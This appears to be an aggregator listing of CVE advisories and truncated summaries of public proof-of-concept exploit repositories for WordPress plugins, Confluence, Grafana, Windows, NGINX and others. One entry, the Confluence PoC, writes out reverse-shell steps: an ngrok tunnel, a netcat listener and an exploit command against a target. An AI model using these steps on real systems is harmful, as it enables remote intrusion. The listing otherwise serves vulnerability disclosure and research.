CVE-2026-116389 WordPress Phoenix Media Rename plugin <= 3.13.5 - PHP Object Injection vulnerability

Deserialization of Untrusted Data vulnerability in crossi72 Phoenix Media Rename phoenix-media-rename allows Object Injection.This issue affects Phoenix Media Rename: from n/a through 3.13.5...

CVE-2026-115590 WordPress Dokan plugin <= 5.3.1 - PHP Object Injection vulnerability

Deserialization of Untrusted Data vulnerability in weDevs Dokan dokan-lite allows Object Injection.This issue affects Dokan: from n/a through 5.3.1...

CVE-2026-116389

The Phoenix Media Rename WordPress plugin (versions

CVE-2026-115590

The weDevs Dokan (dokan-lite) WordPress plugin, versions up to and including 5.3.1 , is vulnerable to a PHP Object Injection flaw caused by the deserialization of untrusted data . This vulnerability allows an attacker to achieve object injection, potentially leading to unauthorized actions or sys...

DirtyCOW-PoC

This repository does not have a README...

CVE-2019-0708-PoC

CVE-2019-0708 CVE-2019-0708...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 Copy Fail Pre-compiled exploit for CVE-2026-31431 Copy Fail. Original source code from tgies/copy-fail-c, with i386 x8632 build target added. Vulnerability discovery and original PoC by theori-io/copy-fail-CVE-2026-31431. Canonical writeup: copy.fail. Build make glibc static build...

CVE-2018-16890

CVE-2018-16890 An out-of-bounds read flaw was found in the way curl handled NTLMv2 type-2 headers. When connecting to a remote malicious server which uses NTLM authentication, the flaw could cause curl to crash. A simple script to check your curl...

CVE-2023-33768

CVE-2023-33768 Description Incorrect signature verification of the firmware during the Device Firmware Update process of Belkin Wemo Smart Plug WSP080 v1.2 allows attackers to cause a Denial of Service DoS via a crafted firmware file. Additional Information When updating the firmware of the Wemo...

CVE-2026-63030_PoC

This repository does not have a README...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 realworld poc Usage Download bun https://github.com/oven-sh/bun/releases Start ngrok ngrok tcp 4444 Listen localhost 4444 nc -nvlp 4444 Run exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ Resul...

cve-2016-0095-x64

cve-2016-0095-x64 windows 7 Ultimate Ultimate x64 poc of cve-2016-0095MS16-034 A newbie starts learning cve, referencing: https://whereisk0shl.top/ssctfpwn450windowskernelexploitationwriteup.html and the code from expert k0shl at https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup. Modified ...

Golang-CVE-2025-55182-POC

Golang-CVE-2025-55182-POC Records a simple POC I wrote...

Grafana_POC-CVE-2021-43798

Grafana-Poc Do not use this tool for illegal purposes. 1. Usage: python3 grafanahole.py Fill in ip:port in domain.txt 2. Vulnerability Impact Scope Affected versions: Grafana 8.0.0 - 8.3.0 Safe versions: Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7...

CVE-2026-61343-poc-librebooking-rce

CVE-2026-61343-poc-librebooking-rce Librebooking Admin RCE PoC CVE-2026-61343...

CVE-2022-24521

CVE-2022-24521 CVE-2022-24521 PoC win10 21h2 19044.1620 win11 21h2 22000.593 Compilation Basic Information Windows SDK Version: 10.0 latest installed version Platform Toolset: Visual Studio 2022 v143 C++ Language Standard: Default ISO C++14 Standard...

DogWalk-rce-poc

Dogwalk Proof-of-Concept🐾 🚨 Disclaimer 🚨 The PoC allows an attacker to obtain Remote Code Injection on a Windows victim device. The goal of this repo is to make a PoC even more usable than the initial repo. DO NOT USE IT WITHOUT PRIOR AUTHORIZATION! Regarding the damage caused and the simplicity ...

CVE-2022-36067-vm2-POC-webapp

CVE-2022-36067-vm2-POC-webapp Steps to reproduce 1. maybe install vm2 globally first npm -install [email protected] -g 2. run: node index.js 3. visit http://localhost:5000/poc 4. Upload poc file such as poc2.js or code and observe RCE...

CVE-2026-36522

CVE-2026-36522 Unauthenticated NaN Injection via MAVLinkPARAMSET in ArduPilot ArduPlane | ---|--- CVE| CVE-2026-36522 CWE| CWE-1287 Improper Validation of Specified Type of Input CVSS 3.1| 9.1 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H Affected| ArduPilot ArduPlane 4.0.1 confirmed Component|...

cve-2026-42945

CVE-2026-42945 — NGINX Rewrite Heap Overrun: Analysis, DoS & Credited RCE Port Security research on CVE-2026-42945 CVSS 4.0 9.2 CRITICAL: a heap buffer overrun in NGINX's script engine where a rewrite with arguments in the replacement e.g. rewrite ^. /new?c=1; leaves the engine's isargs flag set...